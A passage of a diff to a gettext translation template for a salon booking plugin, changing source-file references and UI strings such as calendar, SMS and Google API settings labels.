System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:327\n+msgid \"Get your API key from the IP1 portal\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:72, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:72\n-msgid \"Your Google calendars\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:29\n+msgid \"Get your free reCAPTCHA keys here\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:109\n-msgid \"To get the list of your Google Calendar you need to log-in with Google OAuth. At the moment you are not logged-in.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:155\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:155\n+msgid \"Give users the option to pay once they are at your salon.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:112, views\u002Fsettings\u002Ftab_gcalendar.php:106, views\u002Fsettings\u002Ftab_gcalendar.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:112, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:99\n-msgid \"Get authorization\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:90\n+msgid \"GO BACK\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:110\n+msgid \"Go back\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:161\n+msgid \"Go to\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:231\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FOnboarding.php:149\n+msgid \"Go to Calendar\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:81\n+msgid \"Go to daily view\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_900.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_400.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_600.php:22\n+msgid \"Go to your personal account\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:103, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:103\n msgid \"Google API Error: \"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:88, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:88\n-msgid \"Synchronize Bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FSettings.php:18\n+msgid \"Google Calendar\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_gcalendar.php:94, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:94\n-msgid \"Delete all Google Calendar Events\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:21\n+msgid \"Google calendar\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:7, views\u002Fsettings\u002Ftab_general.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:7, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:7, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:7, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:21\n-msgid \"Salon information\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:23\n+msgid \"Google Calendar disabled\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:8, views\u002Fsettings\u002Ftab_general.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:8, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:8, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:8, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:101\n-msgid \"Date and Time settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:22\n+msgid \"Google Calendar enabled\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:9, views\u002Fsettings\u002Ftab_general.php:170, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:170, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:170, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:170\n-msgid \"Assistant selection\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:13\n+msgid \"Google Calendar settings\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:10, views\u002Fsettings\u002F_tab_general_sms.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:10\n-msgid \"SMS services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:73\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:73\n+msgid \"Google Calendar sync\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:11, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:11\n-msgid \"Email notification services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:44\n+msgid \"Google Client ID\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:12, views\u002Fsettings\u002Ftab_general.php:341, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:12, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:341, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:12, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:341, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:341, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:341, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:12, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:341\n-msgid \"Automatic follow-up\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FThird\u002FGoogleScope.php:156\n+msgid \"Google Client is not connected!\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:13, views\u002Fsettings\u002Ftab_general.php:418, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:418, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:418, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:418\n-msgid \"Automatic feedback reminder\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_gcalendar.php:47\n+msgid \"Google Client Secret\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:14, views\u002Fsettings\u002Ftab_general.php:478, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:478, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:478, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:478\n-msgid \"API services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:550\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:550\n+msgid \"Google Places API Key\"\n msgstr 